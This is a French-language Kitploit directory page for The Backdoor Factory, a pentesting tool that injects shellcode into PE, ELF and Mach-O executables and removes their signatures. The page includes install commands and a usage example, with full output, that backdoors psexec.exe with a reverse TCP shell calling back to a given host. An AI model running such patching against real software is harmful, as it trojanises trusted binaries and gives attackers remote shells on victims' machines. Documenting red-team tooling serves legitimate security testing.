Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
the-backdoor-factory — Patcher les binaires PE, ELF et Mach-O avec du shellcode — nouvelle version en développement, disponible uniquement pour les sponsors. | Kitploit
Outils/GitHubGitHub/secretsquirrel/the-backdoor-factory
ExploitationRétro-ingénierieShellcodePost-ExploitationAnalyse de MalwareTests d'IntrusionRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHubsecretsquirrel/the-backdoor-factory

the-backdoor-factory

Patcher les binaires PE, ELF et Mach-O avec du shellcode — nouvelle version en développement, disponible uniquement pour les sponsors.

Voir le dépôtSite web
3.4k77421il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

La nouvelle version de BACKDOOR FACTORY est disponible ! Accédez-y ici : https://github.com/sponsors/secretsquirrel

ATTENTION : Les Pull Requests SERONT IGNORÉES ET FERMÉES.

The Backdoor Factory (BDF)

Pour les professionnels de la sécurité et les chercheurs uniquement.

L'objectif de BDF est de patcher les binaires exécutables avec le shellcode souhaité par l'utilisateur et de poursuivre l'exécution normale de l'état d'avant patch.

Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory Black Hat Arsenal

Black Hat USA 2015 :

Vidéo : https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper : https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015 :

Vidéo : https://archive.org/details/joshpitts_shmoocon2015

Paper : https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014 :

Vidéo : http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013 :

Vidéo : http://www.youtube.com/watch?v=jXLb2RNX5xs

Démo du module d'injection : http://www.youtube.com/watch?v=04aJAex2o3U

Diapositives : http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Contactez le développeur sur :

IRC :
irc.freenode.net #BDFactory 

Twitter :
@midnite_runr

Sous licence BSD à 3 clauses

Voir le wiki : https://github.com/secretsquirrel/the-backdoor-factory/wiki


Installation

DOCKER

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

###À L'ANCIENNE

####Dépendances #####Pour utiliser OnionDuke, vous DEVEZ être sur une machine Intel car aPLib ne prend pas encore en charge le chipset ARM.

Le moteur Capstone peut être installé depuis PyPi avec :

sudo pip install capstone

Pefile, version la plus récente :

https://code.google.com/p/pefile/

osslsigncode (inclus dans le dépôt) :

http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Installation sous Kali :

  apt-get update
  apt-get install backdoor-factory

AUTRE INSTALLATION *NIX/MAC :

./install.sh

Ceci installera Capstone et utilisera pip pour installer pefile.

MISE À JOUR :

./update.sh

Prise en charge :

Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
et Mach-O x86/x64 et ces formats dans les fichiers FAT

Fichiers packés : PE UPX x86/x64

Expérimental : OpenBSD x32 

Certains exécutables disposent de protections intégrées ; de ce fait, cela ne fonctionnera pas sur tous les binaires. Il est conseillé de tester les binaires cibles avant de les déployer chez des clients ou de les utiliser dans des exercices. Je suis sur le point de contourner NSIS, le contournement de ces protections sera donc inclus à l'avenir.

Un grand merci à Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Sans lui, j'essaierais encore de faire des choses stupides 
avec le format elf.
Merci également à Silvio Cesare pour son article de 1998 
(http://vxheaven.org/lib/vsc01.html) sur lequel ces techniques
de patch ELF sont basées.

Récemment testé sur de nombreux binaires.

./backdoor.py -h Usage: backdoor.py [options]


##Fonctionnalités :

###Fichiers PE

Peut trouver toutes les codecaves dans un EXE/DLL.
Par défaut, efface le pointeur vers la table des certificats PE, retirant ainsi la signature du binaire.
Peut injecter un shellcode dans des code caves ou dans une nouvelle section.
Peut détecter si un binaire PE nécessite de s'exécuter avec des privilèges élevés.
Lors de la sélection des code caves, vous pouvez utiliser les commandes suivantes :
  -Jump (j), pour le saut de code cave
  -Single (s), pour patcher tout votre shellcode dans une seule cave
  -Append (a), pour créer une code cave
  -Ignore (i ou q), peu importe, ignorer ce binaire
Peut ignorer les DLL
Patch de la table d'imports
AutoPatching (-m automtic)
Onionduke (-m onionduke)

###Fichiers ELF

Étend le SEGMENT TEXT de 1000 octets (en octets) et injecte le shellcode dans cette section de code.

###Fichiers Mach-O Patch de la section Pre-Text et suppression de la signature

###Vue d'ensemble

L'utilisateur peut :
  -Fournir un shellcode personnalisé.
  -Patcher un répertoire d'exécutables/DLL.
  -Sélectionner uniquement les binaires x32 ou x64 à patcher.
  -Inclure BDF dans d'autres projets Python, voir pebin.py et elfbin.py

Exemple d'utilisation :

###Patcher un exe/dll à l'aide d'une code cave existante :

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Patcher un exe/dll en ajoutant une section de code :

Télécharger l’outil